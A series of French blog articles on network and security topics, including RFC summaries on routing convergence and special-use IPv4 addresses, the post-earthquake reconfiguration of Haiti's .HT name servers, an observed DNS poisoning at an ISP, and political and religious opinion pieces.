Mais est-il possible d'inclure les attaques par déni de service dans les conditions d'un tel défi ? Ce n'est pas une question facile : il existe deux sortes d'attaques par déni de service, celles qui reposent sur la force brute (on a une ligne rapide et une grosse machine et on écrase la victime sous le poids, par exemple en envoyant des millions de paquets) et celles qui reposent sur l'amplification, où un trafic faible pour l'attaquant peut faire beaucoup de dégâts. Par exemple, la faille dynamic update de BIND en juillet 2009 était dans cette catégorie : un seul paquet DNS pouvait stopper complètement le serveur. S'il n'y a pas de méthode générale pour faire face aux attaques par force brute, en revanche, on peut éviter les amplifications, les attaques où l'assaillant peut obtenir des résultats sans disposer des dizaines de milliers de machines d'un botnet. Il n'y a donc pas de raison d'exclure toutes les attaques par déni de service. Mais on comprend mieux cette décision de Bernstein quand on voit qu'une telle faille de sécurité a déjà été trouvée pour qmail... et refusée par l'auteur. Bref, les défis de sécurité lancés par l'auteur d'un logiciel ne servent pas beaucoup, il rejetera toujours les bogues trouvées. (Une liste des bogues de qmail est disponible, plusieurs affectant la sécurité.)

Maintenant, quelles sont les idées intéressantes dans ce papier ? Parmi les principales, il y a l'idée que les bogues dans le code sont inévitables mais ne devraient pas forcément être des failles de sécurité. Si le code, par exemple le code d'analyse des en-têtes d'un message, a une bogue, elle va empêcher l'analyse correcte desdits en-têtes mais elle ne devrait pas pouvoir mener à une attaque du système. Bernstein ne les cite pas, mais c'est une des motivations derrière les langages purs, comme Haskell, où le code, par défaut, ne peut pas avoir d'effets de bord. L'idée de base est que le code d'analyse des en-têtes devrait avoir des entrées et des sorties limitées et aucun accès au système (ce qui est très difficile à assurer dans un langage comme C).

Bernstein s'attaque aussi à certaines idées fausses en sécurité comme le fait de corriger les bogues (alertes de sécurité accompagnées de patches) : cela revient à résoudre les attaques d'hier, alors qu'il faudrait plutôt travailler à rendre plus difficiles celles de demain.

Comme beaucoup de programmeurs expérimentés, Bernstein met en garde contre l'optimisation prématurée, cette tendance à se préoccuper de performance sans avoir mesuré (et c'est un des rares points où il fait une auto-critique, à propos de l'optimisation du mécanisme de stockage de la liste des domaines gérés par qmail). Il plaide donc fortement pour faire passer la sécurité avant la performance, surtout si on n'a pas réellement mesuré le coût en performance d'une mesure de sécurité.

Bernstein suggère aussi des pistes pour limiter le nombre de bogues. Un exemple serait un mécanisme dans le langage de programmation pour mettre à jour automatiquement les variables « de résumé » (comme « le nombre d'éléments non nuls de la liste », sans doute du genre de ce que permettent les triggers de SQL. De même, il appelle de ses vœux des mécanismes pour étendre automatiquement les tableaux (mais sans citer les langages qui font déjà cela depuis longtemps comme Perl).

Parmi les autres idées de Bernstein, concevoir systématiquement les langages de programmation de façon à ce que les programmes bogués soient plus durs à faire que les programmes corrects. Il cite l'exemple de l'addition d'entiers. En C, par défaut, l'addition se fait modulo la taille de int et il faut explicitement utiliser une bibliothèque de bigint pour avoir l'addition courante. Cela devrait être le contraire, les cas où on veut vraiment une addition modulo étant rares. (Ce point a fait l'objet d'une bonne discussion sur LWN.)

Bernstein pointe aussi du doigt les problèmes de sécurité posés par l'analyse, le fait de convertir des données non structurées en données structurées, avec ses conséquences comme le besoin d'échappement, source, par exemple, de tant d'injections SQL.

Comment améliorer aujourd'hui la sécurité des logiciels ? Bernstein a plein d'idées. L'une d'elles a donné naissance à un logiciel spécifique, isolate. Le principe est de faire tourner le programme après avoir sérieusement limité ce qu'il a le droit de faire. Par exemple, sur Unix :

  • L'empêcher de créer fichiers ou prises en mettant RLIMIT_NOFILE à 0 avec setrlimit(),
  • Le faire tourner sous un UID spécifique,
  • etc.

L'article seul

RFC 5715: A Framework for Loop-free Convergence

Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : M. Shand, S. Bryant
Pour information
Réalisé dans le cadre du groupe de travail IETF rtgwg
Première rédaction de cet article le 19 janvier 2010


Le groupe de travail rtgwg de l'IETF travaille entre autre à définir des protocoles et des méthodes pour éliminer les micro-boucles lors d'un changement des routes dans un réseau IP. Une micro-boucle est la boucle temporaire qui se forme entre deux (parfois davantage) routeurs lorsqu'ils n'ont pas mis à jour leur table de routage pile en même temps. Pendant quelques secondes, le routeur A envoie les paquets à B, qui les envoie à A, qui les envoie à B... Notre RFC 5715 explique le problème, ses causes et ses effets, et expose les solutions existantes.

La section 1 rappelle le fonctionnement du routage IP. Les routeurs n'ont pas une vue commune du réseau. Lorsque celui-ci change, que ce soit suite à une « mauvaise nouvelle » (la rupture d'un câble) ou suite à une « bonne nouvelle » (l'ajout d'un nouveau lien), il faut un temps fini pour propager l'information à tous les routeurs et pour que ceux-ci mettent à jour leur FIB. Pendant ce temps de convergence, les routeurs ne fonctionnent pas sur une vision commune et les micro-boucles apparaissent. Les paquets vont alors tourner en rond, consommant de la capacité du réseau, avant d'être jetés lorsque leur TTL (Hop Count en IPv6) est terminé.

Ces micro-boucles sont-elles graves ? En général, les protocoles situés au dessus corrigent automatiquement. Mais de nouveaux services Internet pourraient être plus sensibles et souhaiteraient une transition sans douleur, sans délai et sans perte de paquets.

Cet idéal est évidemment utopique mais il existe quand même des méthodes pour améliorer les choses comme celles du RFC 4090 pour MPLS ou du RFC 5714 pour IP.

Parmi les voies possibles pour traiter le problème des micro-boucles, il y a des techniques de convergence suffisamment rapides pour que le problème soit minimal, ou bien des topologies du réseau qui rendent les micro-boucles rares ou impossibles.

La section 2 est consacrée à étudier plus en détail ce qu'est une micro-boucle et dans quelles conditions elles se forment. La micro-boucle est un phénomène temporaire, inévitable dans un paradigme de routage « saut après saut » qui est celui d'IP (chaque routeur ne se préoccupe que du saut suivant). Elle est « micro » par sa durée et par le petit nombre de routeurs en jeu (souvent seulement deux). La création d'une boucle nécessite au moins une des conditions suivantes :

  • Liens dont les coûts sont asymétriques,
  • Existence entre deux routeurs de deux chemins, de coût égal, avec des routeurs qui tranchent de manière différente lorsque deux chemins sont possibles et équivalents,
  • Et surtout, ce qui est la cause des micro-boucles, changement de topologie du réseau, pendant la phase de transition. Ce changement est souvent une panne mais ce peut aussi être un ajout d'un nouveau lien, ou bien une action délibérée de l'administrateur réseaux, par exemple parce qu'il change le coût d'un lien.

Les micro-boucles ont deux conséquences :

  • Consommation inutile de la capacité du réseau (un paquet peut passer 128 fois dans chaque sens, avant que son TTL n'expire),
  • Risque pour la convergence des routeurs car le trafic des protocoles de routage, s'il est pris dans la boucle, risque de ne pas atteindre son destinataire, l'empêchant de mettre sa table à jour.

Que peut-on faire contre les micro-boucles ? C'est un travail pour la section 4 et des suivantes. Il existe plusieurs stratégies, limiter les dégâts, empêcher les boucles de se former, les supprimer quand elles apparaissent ou bien minimiser le risque d'occurrence (par exemple par des réseaux avec davantage de maillage). Elles sont détaillées dans les sections suivantes. D'abord, la section 5 explique comment limiter les dégâts, soit en accélérant la convergence du réseau, soit avec la méthode PLSN (Path Locking with Safe Neighbors), non encore décrite dans un RFC (mais résumée en section 7), qui consiste à tenir compte de l'état du réseau avant et après le changement avant de choisir d'envoyer dorénavant du trafic à un voisin. La simulation montre que cette méthode est efficace mais elle ne fait que limiter les micro-boucles, pas les empêcher.

Et la prévention ? La section 6 est là pour ça. Elle ne liste pas moins de huit méthodes pouvant empêcher les micro-boucles de se former. Mais toutes ne sont pas réalistes. Parmi elles :

  • Au lieu de faire passer d'un coup le coût d'un lien coupé de N à « infini », l'incrémenter doucement. L'analyse montre que cela suffira (section 6.1).
  • Divers systèmes d'overlays ou de tunnels (sections 6.2 à 6.4). Cela aurait évidemment les inconvénients habituels des tunnels (comme la faible performance de beaucoup de routeurs avec ce type de trafic).
  • La cause fondamentale des micro-boucles étant le manque d'information, on pourrait aussi marquer les paquets pour indiquer par où ils sont passés, ce qui permettrait de détecter facilement qu'un paquet est déjà passé et qu'il y a donc une boucle (section 6.5). Mais cela compliquerait les routeurs de manière non-standard.
  • On pourrait enfin introduire davantage de synchronisation entre les mises à jour des FIB de chaque routeur (sections 6.7 et 6.8). Actuellement, le changement de FIB se fait dans chaque routeur indépendamment. On pourrait imaginer que chaque routeur calcule la nouvelle FIB (sans l'installer), qu'un algorithme permette de sélectionner le moment du changement et, si tous les routeurs sont à l'heure avec NTP, ils basculeraient au même moment.

Et la suppression des boucles, une fois qu'elles sont formées ? Pour détecter la micro-boucle, La section 8 examine deux possibilités, une forme de mémoire des paquets déjà vus, dans le routeur (très consommatrice en ressources) et une méthode plus simple : détecter une boucle au fait qu'un paquet entre par l'interface où on le ferait sortir (mais cela ne marche que pour les boucles simples, symétriques).

Quel que soit le mécanisme adopté, il va falloir le déployer dans l'Internet existant et la section 9 rappelle donc l'importance de la compatibilité avec cet existant.

Enfin, une comparaison des différentes méthodes occupe la section 10. Plusieurs méthodes semblent réalistes pour les protocoles futurs.


Téléchargez le RFC 5715


L'article seul

RFC 5714: IP Fast Reroute Framework

Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : M. Shand, S. Bryant (Cisco)
Pour information
Réalisé dans le cadre du groupe de travail IETF rtgwg
Première rédaction de cet article le 19 janvier 2010


IP a une propriété très utile : la route entre deux points n'est pas fixée à l'avance et peut être modifiée même en cours de conversation. Cela permet aux réseaux IP de continuer à fonctionner même lorsque des coupures surviennent, s'il existe un chemin alternatif. Par contre, trouver ce chemin alternatif et l'utiliser prend du temps et ce délai peut être fatal à certaines applications plus ou moins temps-réel. D'où la nécessité de développer une méthodologie et des mécanismes pour un reroutage rapide. Ce RFC 5714 est consacré à décrire le cadre général de ce reroutage rapide.

De tels mécanismes existent déjà pour certains protocoles de couche 2, comme SONET, ou de couche « 2,5 » comme MPLS. Mais le but du travail sur le reroutage rapide IP est d'avoir une solution générale pour tous les réseaux IP.

Donc, après une section 1 de terminologie, commençons par décrire le problème (section 2). Lorsqu'un lien physique tombe en panne, même si des liens alternatifs sont disponibles, il s'écoule une période non nulle pendant laquelle les paquets ne peuvent plus être transmis. Ces paquets sont alors souvent jetés par les routeurs. Traditionnellement, dans un réseau IP, les durées de ces périodes atteignaient facilement plusieurs secondes. Pour certains applications (par exemple SMTP) ce n'est pas un problème. Mais certains services récents ont davantage de mal à tolérer ces courtes coupures. Calculer de nouvelles routes, dans un environnement distribué comme l'Internet, ne peut pas être « temps-réel ». Mais il existe une autre solution : calculer à l'avance les routes de secours ce qui permettrait de remplacer la route passant par le lien en panne en un temps bien plus court. C'est l'approche utilisée par le mécanisme Fast Reroute de MPLS (RFC 4090) et le but du projet IP Fast Reroute est de spécifier des mécanismes analogues dans un environnement purement IP.

Ces mécanismes sont loin d'être complètement définis, notre RFC 5714 se contenant de définir un cadre général pour leur élaboration. D'autre part, le projet se limite pour l'instant aux IGP à état des liaisons (section 3), une extension aux autres IGP ou bien aux protocoles de routage externes comme BGP étant possible dans le futur.

La section 4 du RFC analyse le problème. D'où vient le délai avant que la route alternative soit utilisable ? Il y a plusieurs sources de retard :

  • Le temps de détection de la panne. Lorsque celle-ci peut être détectée physiquement (câble Ethernet débranché, avec perte du signal de lien), ce temps est parfois de quelques milli-secondes. Mais, lorsque la détection se fait par l'absence, pendant une certaine période, d'un message (par exemple le paquet Hello d'OSPF), alors, des durées de plusieurs dizaines de secondes sont possibles.
  • Le temps pour le routeur de se reconfigurer.
  • Le temps pour le routeur de passer l'information à ses voisins (de dix à cent milli-secondes par saut entre deux routeurs).
  • Le temps de recalculer les tables de routage (quelques milli-secondes avec un algorithme comme celui de Dijkstra).
  • Le temps de recharger les nouvelles tables, par exemple en reconfigurant les ASIC. Il peut atteindre des centaines de milli-secondes.

Toutes ces opérations n'étant pas instantanées et devant être effectuées par plusieurs routeurs, le réseau sera dans un état incohérent pendant un moment et on verra des micro-boucles temporaires se former (une micro-boucle est le ping-pong entre deux routeurs, chacun croyant que l'autre est la meilleure route, cf. RFC 5715).

Quels sont les mécanismes disponibles pour faire mieux ? La section 5 les expose. Pour la détection de la panne (section 5.1), l'aide du matériel est bien pratique : si la fibre est coupée, la disparition de la lumière indique le problème immédiatement. Mais il existe aussi des protocoles indépendants du protocole de routage, et dédiés à la détection de pannes, comme BFD.

Pour réparer la panne, l'idée de base est de pré-calculer les chemins alternatifs, ce qui permettra de les installer rapidement (section 5.2). La plupart des pannes devraient pouvoir être réparées avec les techniques du RFC 5286, qui ne nécessitent pas de marquage spécial des paquets IP. Pour les autres, des techniques plus avancées sont nécessaires comme le calcul et le stockage à l'avance de plusieurs FIB dans les routeurs, combinés avec un mécanisme de signalisation permettant d'indiquer que le paquet doit prendre la route de secours. Des mécanismes reposant sur un routage explicite, par exemple avec des tunnels, sont également possibles.

Au fait, j'ai utilisé des termes vagues comme « la plupart ». Peut-on les quantifier ? La section 5.2.2 analyse le succès de chaque mécanisme en fonction de la topologie.

Enfin, pour la prévention des micro-boucles, la section 5.3 renvoie au RFC 5715 qui liste les possibilités.


Téléchargez le RFC 5714


L'article seul

Reconfiguration des serveurs de noms du domaine haïtien

Première rédaction de cet article le 17 janvier 2010
Dernière mise à jour le 20 janvier 2010


Le tremblement de terre qui a frappé Haïti le 12 janvier 2010 a déjà fait l'objet de beaucoup d'articles, notamment sur les mesures d'aide qui ont été prises. Je voudrais ici détailler un aspect tout à fait secondaire, mais qui illustre bien le fonctionnement actuel de l'Internet : la reconfiguration du domaine de premier niveau .HT, pour lui garantir un fonctionnement prolongé. (Cet article est conçu pour tous, des détails techniques sur le DNS figurent à la fin.)

Comme tous les pays, Haïti a un nom de domaine dit « de tête » ou « de premier niveau », qui identifie le pays. En l'occurrence, c'est .HT. On peut donc avoir des ressources Internet avec des noms comme www.fds.edu.ht ou rddh.org.ht. Les liaisons Internet ont toutes été détruites lors du tremblement de terre mais les ressources (par exemple les sites Web) accessibles via un nom en .HT étaient parfois hebérgés à l'extérieur du pays et pouvaient donc continuer à être accessibles... si les noms en .HT marchaient toujours. Malheureusement, beaucoup de domaines (y compris des domaines de tête) sont publiés par un nombre de serveurs très limités, tous situés en un seul endroit. En cas de panne électrique ou de coupure de la liaison Internet, le service de noms ne fonctionne plus et, même si le serveur Web est toujours là, les clients ne peuvent plus trouver son adresse et donc le joindre.

Au contraire, .HT est bien géré (et bravo à ce sujet à Stéphane Bruno et Max Larson Henry) : il a six serveurs de noms, deux en Haïti, un en France, un au Canada, un aux États-Unis et un autre, géré depuis les États-Unis mais physiquement distribué sur toute la planète. .HT n'a donc jamais cessé de fonctionner.

Par contre, cela ne pouvait pas durer éternellement : pour des bonnes raisons techniques, les serveurs secondaires, situés à l'étranger, arrêtent tout service s'ils ne peuvent pas joindre le primaire pendant un certain temps. Et, de toute façon, toute modification des noms en .HT est gelée tant que le primaire n'est pas joignable.

S'il n'y avait pas d'urgence immédiate, il fallait néanmoins agir. En l'absence de toute communication avec les gérants du .HT, dans la nuit du 14 au 15 janvier, les responsables des serveurs secondaires, sous l'impulsion de Bill Woodcock, de PCH, ont commencé à reconfigurer .HT pour un fonctionnement plus durable. Une copie de la base de données du registre se trouvait en Australie, chez Cocca. Un de leurs techniciens, Garth Miller, a configuré une machine comme primaire, les gérants des secondaires ont changé à leur tour la configuration de leurs machines (merci à Jean-Philippe Pick pour avoir réagi particulièrement vite) et, le 16 janvier au soir, après quelques problèmes techniques, .HT retrouvait un fonctionnement normal, qui pourra durer jusqu'à ce que les liaisons Internet avec les gérants de .HT et leurs ordinateurs soient rétablies. (Nous avons appris depuis que l'immeuble où se trouvait les serveurs a été réduit en poussière. Des organismes comme l'AFNIC travaillent à remplacer ces machines dès que les secours d'extrême urgence pourront laisser la place à l'envoi de matériel informatique. Une partie de l'infrastructure Internet sur place fonctionne encore, notamment le point d'échange sur la colline de Boutilliers, grâce à Reynold Guerrier.)

Le point important à noter est qu'aucun autorité n'a ordonné ou même approuvé ce changement. Aucun comité ne s'est réuni. Aucune signature n'a été donnée. Les seules personnes pouvant décider, à Port-au-Prince, étant injoignables, le travail de reconfiguration a été fait entièrement entre administrateurs système des serveurs secondaires. La sécurité de l'Internet n'est en effet pas celle de murs de béton défendus par des règlements et des procédures. C'est celle d'un organisme vivant, dont les leucocytes sont intelligents et capables d'initiative. (Bien sûr, les administrateurs de .HT ont été informés.)

Les leçons à en tirer ? La première est d'assurer la redondance des serveurs de noms. Ils doivent être plusieurs, et répartis en des endroits très différents, pour faire face aux différents types de panne. On peut noter par exemple que .BD n'a que deux serveurs (un troisième est annoncé mais ne répond jamais), tous les deux à Dhâkâ. En cas de problème frappant cette ville, comme une inondation, tous les noms se terminant par .BD disparaissent. De même, .PF n'a que deux serveurs, tous les deux à Papeete. N'importe quelle carastrophe naturelle rendrait donc ce domaine inutilisable.

La redondance des serveurs est une chose, celle des données en est une autre. (Dans le cas d'un registre de noms de domaines, la base de données contient la liste des noms délégués.) S'il n'y avait pas eu une copie de la base de données à l'extérieur du pays, elle était peut-être perdue. Il faut donc aussi s'assurer que les données sont réparties.

Bien sûr par rapport au drame que viennent de vivre les habitants d'Haïti, c'est tout petit. Mais j'espère que les petites gouttes d'eau feront les grandes rivières : chaque problème réparé est un outil en plus pour les autres réparations. Au fait, depuis ce travail, Stéphane Bruno a pu être joint, il va bien et il a approuvé le changement. Même chose pour Max Larson Henry.

D'autres utilisations intelligentes de l'Internet ont été faites comme le moteur de recherche des disparus de Google (disponible en anglais, français et créole) ou comme le flux d'informations Twitter de Carel Perdre.

Comme promis, quelques détails techniques, pour ceux qui connaissent le DNS. Ce protocole est très résistant aux pannes et, si les serveurs sont bien répartis comme ils doivent l'être, un domaine peut résister à n'importe quelle catastrophe. Mais que se passe t-il ensuite ? Les serveurs secondaires (le terme correct aujourd'hui est d'ailleurs « serveur esclave » pour de bonnes raisons mais, dans le contexte d'Haïti, j'ai préféré l'éviter) continuent à servir la zone pendant une période qui est gouvernée par le champ Expire de l'enregistrement SOA (cf. RFC 1035, section 3.1.3). Ce champ vaut actuellement pour .HT 1296000 secondes soient deux semaines et, si rien n'avait été fait, le domaine .HT aurait donc disparu dans quinze jours (le but de ce champ est d'éviter qu'un ancien esclave oublié continue à servir des données dépassées éternellement). Il y a une seconde raison pour le travail de reconfiguration qui a été fait : il permet de modifier la zone et donc, si nécessaire, d'ajouter des nouveaux domaines ou bien de changer les adresses IP des serveurs de noms des domaines existants, pour assurer leur continuité (un serveur esclave, comme son nom l'indique, ne peut pas modifier les données). Aujourd'hui, on voit que les quatre serveurs extérieurs (dont le serveur anycast de PCH) sont bien à jour (ils ont tous le même numéro de série, qui est postérieur au séisme) :

% check_soa ht
There was no response from ns2.nic.ht
There was no response from ns1.nic.ht
dns.princeton.edu has serial number 2010011820
charles.cdec.polymtl.ca has serial number 2010011820
ht-ns.anycast.pch.net has serial number 2010011820
ns3.nic.fr has serial number 2010011820

À noter également que l'actuel serveur maître, chez Cocca, n'apparait pas dans les enregistrements NS : c'est un maître caché (en anglais, on dit un stealth).

Le domaine nic.ht a été à son tour reconfiguré sur le même principe, avec l'idée de faire revivre le NIC à distance.

D'autres articles sur les technologies de l'information et Internet, dans le tremblement de terre :


L'article seul

Un exemple d'empoisonnement DNS en vrai

Première rédaction de cet article le 17 janvier 2010


Depuis le temps qu'on parle d'empoisonnement DNS, par exemple suite à la faille Kaminsky, je n'avais jamais eu l'occasion d'en observer un en vrai. Des essais, bien sûr, des résultats de tests, mais une vraie attaque menée dans le but de détourner du vrai trafic, j'en avais entendu parler mais jamais vu ça de mes propres digs. C'est désormais fait.

Tout a commencé sur Twitter : (17:07:09) oneeyed: whois.com hacked http://bit.ly/7IaCfm. Je regarde et http://whois.com/, service de recherche via whois, semble normal. D'autres personnes le voient normal. En fait, le site Web est intact, il n'a pas été défiguré, c'est le DNS du FAI Free qui a des problèmes. Je ne m'en étais pas aperçu car j'utilise mon propre résolveur DNS. Mais, en interrogeant ceux de Free, on trouve des données normales sur le serveur 212.27.40.241 mais pas sur l'autre résolveur que Free met à la disposition de ses clients :

% dig +short @212.27.40.240 A whois.com
94.102.7.12

Cette adresse IP 94.102.7.12 n'a rien à voir avec whois.com et la base du RIPE-NCC la situe chez un opérateur turc (la vraie adresse IP de whois.com est 67.225.139.191, aux États-Unis). À l'adresse en question, un serveur Web diffuse une image de défiguration classique.

Donc, il semble bien qu'il y aie eu empoisonnement (par un moyen inconnu de moi) d'un des résolveurs DNS de Free. Pendant un certain temps (environ une heure, semble t-il), tous les clients de Free qui tombaient sur ce résolveur étaient envoyés au mauvais serveur. Le problème a ensuite disparu, probablement parce qu'un technicien de Free a redémarré le serveur.

Quelques leçons :

  • Ce genre de problèmes n'est pas spécifique à Free : d'autres FAI peuvent l'avoir et rien n'indique qu'il soit dû à une erreur ou une défaillance de Free. On trouve plus facilement des rapports sur Free car ce fournisseur a des gens férus de techniques, alors qu'ils sont complètement absents chez d'autres FAI, qui peuvent donc faire n'importe quoi en étant sûrs de ne pas être observés.
  • Je n'ai pas vu le serveur « pirate » et 94.102.7.12 ne le sert apparemment plus, donc je ne sais pas quel était le but poursuivi par l'attaquant.
  • Bien sûr, DNSSEC aurait détecté le problème. Mais DNSSEC soulève d'autres questions.

Merci à Samuel Tardieu pour m'avoir signalé le cas rigolo. Voir aussi la discussion sur Reddit.


L'article seul

RFC 5737: IPv4 Address Blocks Reserved for Documentation

Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : J. Arkko (Ericsson), M. Cotton (ICANN), L. Vegoda (ICANN)
Pour information
Première rédaction de cet article le 15 janvier 2010


Pendant longtemps, les documentations ou cours sur TCP/IP utilisaient dans les exemples des adresses IP prises un peu au hasard, par exemple sur le réseau de l'auteur. Cela entrainait des problèmes si un lecteur prenait ces exemples trop littéralement et réutilisait ces adresses, rentrant ainsi en conflit avec les adresses existantes. C'est ce qui arrive par exemple au réseau 1. Le RFC 1166 avait donc commencé la bonne tradition de réserver des adresses pour la documentation, tradition que continue notre RFC 5737 (voir aussi le RFC 6890).

Comme le rappelle la section 1, la limite du préfixe 192.0.2.0/24 qui avait été réservé par le RFC 1166 était qu'il était tout seul : un cours sur OSPF ou BGP était assez difficile à faire avec des adresses commençant toutes par 192.0.2. Deux autres préfixes ont donc été ajoutés, 198.51.100.0/24 et 203.0.113.0/24 (section 3). IPv6, lui, a le 2001:db8::/32 du RFC 3849, les numéros de systèmes autonomes ont les plages 64496 à 64511 et 65536 à 65551, du RFC 5398, et les noms de domaine ont les example.org et autres example.net du RFC 2606.

Puisque ces trois préfixes IPv4 sont réservés à la documentation, ils ne devraient jamais apparaitre sur des vrais réseaux, par exemple via BGP (section 4). On peut donc les ajouter aux listes de bogons.

À noter enfin que, contrairement à ce qu'on lit parfois, le préfixe 128.66.0.0/16 n'est pas réservé (section 5) pour la documentation et peut être utilisé pour de vraies allocations.


Téléchargez le RFC 5737


L'article seul

RFC 5735: Special Use IPv4 Addresses

Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : M. Cotton (ICANN), Leo Vegoda (ICANN)
Première rédaction de cet article le 15 janvier 2010


Un certain nombre de préfixes IPv4 ont une signification spéciale et ce RFC les documente, pour éviter aux lecteurs de devoir fouiller dans les nombreux RFC originaux. (Ce RFC a depuis été remplacé par le registre décrit dans le RFC 6890.)

Normalement, les préfixes des réseaux IPv4 sont attribués par l'IANA aux RIR qui les allouent ensuite aux LIR (qui sont en général des FAI). Ces allocations et les affectations aux utilisateurs finaux sont enregistrées par les RIR et sont publiquement accessibles via des protocoles comme whois. Le premier RFC sur le rôle de l'IANA est le RFC 1174 et la description actuelle du rôle de l'IANA est le RFC 2860.

Mais certains préfixes sont spéciaux et échappent à ce mécanisme. Ils ont été réservés par tel ou tel RFC et sont donc dispersés à plusieurs endroits. Notre RFC, successeur du RFC 3330, écrit par l'IANA, rassemble toutes ces réservations en un seul endroit.

Voici quelques exemples de préfixes ainsi documentés :

  • 10.0.0.0/8, réservé pour les adresses privées par le RFC 1918,
  • 169.254.0.0/16, réservé pour les adresses locales au lien (cette réservation a été documentée dans le RFC 3927),
  • 192.0.0.0/24, réservé pour les protocoles qui ont besoin d'adresses IP spécifiques. Pour l'instant, aucune affectation dans ce nouveau registre n'a été faite, le RFC 5736 décrit les règles que ces affectations suivront,
  • 192.0.2.0/24, 198.51.100.0/24 et 203.0.113.0/24, réservés pour la documentation. Les deux derniers préfixes sont une nouveauté du RFC 5737. Le seul utilisé jusqu'à présent, le 192.0.2.0/24, était trop petit pour certains usages (par exemple, pour un cours BGP, c'était pénible de devoir distinguer 192.0.2.0/25 et,192.0.2.128/25),
  • 198.18.0.0/15, réservé pour les mesures, suivant le RFC 2544,
  • Et bien d'autres, énumérés dans la section 3 et résumés dans la 4.

Si vous avez une idée géniale qui nécessite de réserver un autre préfixe, la marche à suivre est expliquée dans la section 5. Au minimum, vous aurez à écrire un RFC.

Les fanas de la sécurité noteront la section 7, qui précise les filtrages qui devraient faire les routeurs (par exemple, 169.254.0.0/16 ne devrait jamais être routé), et avertit qu'il ne faut pas forcément compter sur ces filtres : tous les routeurs ne sont pas forcément bien configurés. Donc, si vous recevez un paquet IP avec une adresse source en 169.254.0.0/16, cela ne signifie pas forcément qu'il vienne d'une machine locale.

L'annexe A liste les principaux changements par rapport au RFC précédent, le RFC 3330. En raison de l'extrême pénurie d'adresses IPv4, des préfixes ont été définitivement remis dans le circuit normal d'allocation et n'apparaissent donc plus comme spéciaux (par exemple le 24.0.0.0/8). Et deux nouveaux préfixes apparaissent pour la documentation.

Un RFC équivalent existe pour IPv6, le RFC 5156.

Des nouveaux préfixes sont de temps en temps ajoutés à cette liste des préfixes spéciaux, comme le 100.64.0.0/10 du RFC 6598.


Téléchargez le RFC 5735


L'article seul

RFC 5736: The IANA IPv4 Special Purpose Address Registry

Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : G. Huston (APNIC), M. Cotton (ICANN), Leo Vegoda (ICANN)
Pour information
Première rédaction de cet article le 15 janvier 2010


Le RFC 5735 ayant réservé un préfixe d'adresses IPv4, 192.0.0.0/24 pour des allocations « spéciales », ce RFC 5736 définit les règles que devra suivre l'IANA pour la gestion du registre des allocations dans ce préfixe.

L'utilité principale de ce préfixe réservé est de permettre des allocations d'adresses IP pour certains protocoles qui ont besoin de coder en dur des adresses. (Il existe déjà un tel registre pour les adresses IPv6, registre décrit dans le RFC 4773.) La section 2 du RFC rappelle les généralités sur le rôle de l'IANA, ses relations avec l'IETF et l'accord qui les lie (RFC 2860).

La section 3 décrit le mécanisme d'allocation proprement dit. Prendre une adresse dans le préfixe 192.0.0.0/24 nécessitera une IETF review (le terme est défini dans le RFC 5226 et désigne une procédure relativement lourde, impliquant l'écriture d'un RFC).

Le registre doit indiquer l'adresse IP réservée, le RFC où son usage est documenté, le caractère routable ou non de cette adresse, etc. À noter que, même si le registre dit qu'une adresse est prévue pour être routée mondialement, le RFC précise qu'on ne peut rien garantir à ce sujet, vue la décentralisation des politiques de routage.

Le registre est vide, pour l'instant. Patience...


Téléchargez le RFC 5736


L'article seul

Les racines judéo-chrétiennes des Droits de l'Homme

Première rédaction de cet article le 14 janvier 2010


Lors du débat politicien sur l'identité nationale, de nombreux intervenants se sont réclamés du christianisme. Par exemple, « [Être français] c'est a dire reconnaitre tout autant " le blanc manteau de ses cathédrales "et ses raçines judéo-chrétiennes que les principes de liberté-égalité-fraternité du pacte républiquain [sic] ». Ou bien « La France et notre identité nationale, c'est une cathédrale au centre de Paris et non pas une mosquée. ». C'est donc l'occasion de relire leur texte sacré, la Bible.

Pas de chance, première histoire que je lis (Josué, 6.21), j'apprends que juste après la victoire des bons contre les méchants, « Ils [les bons] vouèrent à l'interdit tout ce qui se trouvait dans la ville, aussi bien l'homme que la femme, le jeune homme que le vieillard, le taureau, le mouton et l'âne, les passant tous au tranchant de l'épée. » Puis (6.24), « Quant à la ville, ils l'incendièrent ainsi que tout ce qui s'y trouvait, sauf l'argent, l'or et les objets de bronze et de fer qu'ils livrèrent au trésor de la maison du Seigneur. » On ne dit pas ce qu'ils ont fait des enfants... (Traduction TOB.)

Charmantes coutumes, sans doute courantes à l'époque. D'autres que les hébreux le faisaient au même moment. Mais on n'a pas fait des massacres et des pillages commis par eux un livre sacré.

Ah, au fait, pourquoi cette bataille de Jéricho ? Parce que les hébreux, revenant d'Égypte, n'avaient pas de terre et trouvaient plus simple de prendre par la force celle des autres.

On comprendra que je me sente peu d'affinités avec mes « racines judéo-chrétiennes ».


L'article seul

Dangers sur l'Internet

Première rédaction de cet article le 11 janvier 2010


Tous les jours, des articles sensationnalistes nous informent de la proximité d'une cyberguerre, de la vulnérabilité technique de l'Internet et du risque que celui-ci soit détruit par une attaque des méchants chinois, russes ou indiens. À en croire ces articles, tout le monde devrait se serrer les coudes faces à ces ennemis et oublier tous les autres problèmes.

Mais les principaux dangers qui menacent l'Internet ne viennent pas forcément d'asiatiques lointains. Mettre en avant ces dangers extérieurs sert surtout à faire oublier les risques plus proches mais plus immédiats. Aujourd'hui, l'Internet et, surtout, les libertés qu'il permet, sont menacés avant tout par les pouvoirs en place, gouvernement et patronat.

Du côté du gouvernement, l'offensive est générale. Je ne parle pas de pays dictatoriaux qui censurent depuis longtemps sans que cela ne gêne personne, comme la Tunisie ou l'Arabie Saoudite. Mais l'offensive contre les libertés vient aujourd'hui surtout de pays dits démocratiques. La Grande-Bretagne et l'Australie (comme annoncé par le gouvernement) sont aujourd'hui en pointe dans la censure de l'Internet. La France, sous la direction de Sarkozy cravache pour les rejoindre. D'un côté, des lois répressives, justifiées par les fameux pédophiles / nazis / djihadistes que, comme chacun sait, on trouve partout sur l'Internet. C'est le cas des lois LCEN et Loppsi. Comme personne n'ose dire ouvertement que la pédophilie sert surtout de prétexte (voir à ce sujet l'excellente étude de l'APC), le gouvernement peut tranquillement déployer loi liberticide (LCEN : obligation pour les opérateurs de garder des traces de l'acivité des Iinternautes) après loi liberticide (future Loppsi : obligation de filtrer ce qui déplait au gouvernement, via DNS, BGP ou autre technique).

